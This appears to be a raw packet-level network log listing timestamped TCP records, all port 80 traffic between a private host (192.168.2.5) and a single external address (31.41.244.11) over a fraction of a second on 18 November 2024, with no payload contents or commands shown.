Nov 18, 2024 19:04:13.833364964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.833379030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.833379984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.833398104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.833400011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.833441973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.833473921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.871500969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.871536970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.871555090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.871678114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.871692896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.871707916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.871711969 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.871725082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.871725082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.871750116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.871779919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.872082949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.872100115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.872117996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.872139931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.872169018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.882828951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.882925034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.883090973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.883141041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.884840965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.884905100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.884936094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.884983063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.885091066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.885123014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.885140896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.885164976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.899300098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899336100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899348974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899382114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.899405003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899406910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.899422884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899439096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899451017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.899487972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.899606943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899622917 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899637938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899656057 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.899688959 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.899861097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899879932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.899914026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.899945021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900003910 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900052071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900052071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900065899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900091887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900099039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900115967 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900145054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900149107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900161982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900190115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900211096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900278091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900290012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900305986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900321960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900327921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900348902 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900369883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900495052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900548935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900588036 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900604010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900618076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900633097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900634050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900666952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900703907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.900851965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900866032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.900907040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.947407007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947447062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947457075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947594881 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947592974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.947607994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947618961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947654963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.947691917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.947843075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947854996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947866917 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947877884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947890043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.947896957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.947918892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.947958946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.948308945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948319912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948338032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948350906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948360920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948360920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.948374987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948390007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.948435068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.948772907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948887110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948898077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948909998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948920965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948932886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948942900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948955059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.948955059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948970079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.948987007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.949019909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.949631929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949644089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949655056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949666977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949677944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949688911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949700117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949700117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.949713945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949728012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949738026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949748993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.949754953 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.949806929 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.950476885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.950488091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.950499058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.950510025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.950521946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.950537920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.950548887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.950560093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.950570107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.950581074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.950627089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.950648069 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.951400042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951411009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951421976 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951433897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951445103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951456070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951466084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951478958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951489925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951489925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.951503038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951512098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.951514959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.951536894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.951561928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.952282906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.952294111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.952305079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.952317953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.952328920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.952341080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.952352047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.952361107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.952363968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.952389956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.952480078 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.990246058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990292072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990303993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990370035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.990390062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.990426064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990437984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990448952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990461111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990473032 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.990513086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.990818977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990830898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990840912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990854979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.990884066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.990919113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.004139900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.004209042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.004220963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.004332066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.017908096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.017962933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.017975092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018062115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.018100023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018111944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018121958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018135071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018151999 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.018176079 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.018337011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018395901 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.018404007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018415928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018426895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018461943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.018492937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.018645048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018701077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018712997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.018745899 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.018781900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.018909931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019118071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019131899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019164085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.019191027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019196033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.019203901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019216061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019231081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.019233942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019248009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019252062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.019277096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.019309998 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.019596100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019617081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019660950 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.019742012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019792080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019804001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.019840956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.019860983 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.066178083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066215992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066226959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066287041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066299915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066313028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066320896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.066363096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.066407919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.066450119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066499949 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.066518068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066533089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066577911 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.066770077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066782951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066795111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066808939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.066826105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.066840887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.066881895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067050934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067063093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067075014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067082882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067094088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067107916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067110062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067122936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067148924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067173958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067451954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067464113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067476034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067490101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067513943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067528009 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067564011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067800045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067814112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067833900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067846060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067847013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067858934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067873001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067884922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067894936 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067898035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067903996 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067914963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067925930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.067933083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.067969084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.068645954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068659067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068670988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068682909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068696022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068701029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068703890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.068711996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068722010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.068727970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068742990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068754911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068767071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068778038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.068789005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.068813086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.068835974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.069567919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069581032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069592953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069607019 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069617987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069622993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.069629908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069643021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069655895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069658995 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.069669008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069681883 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069684029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.069694042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069705009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069713116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.069716930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.069737911 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.069761992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.070503950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070516109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070527077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070538998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070552111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070557117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.070558071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070564985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070574999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070575953 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.070586920 CET	80	49977	31.41.244.11	192.168.2.5
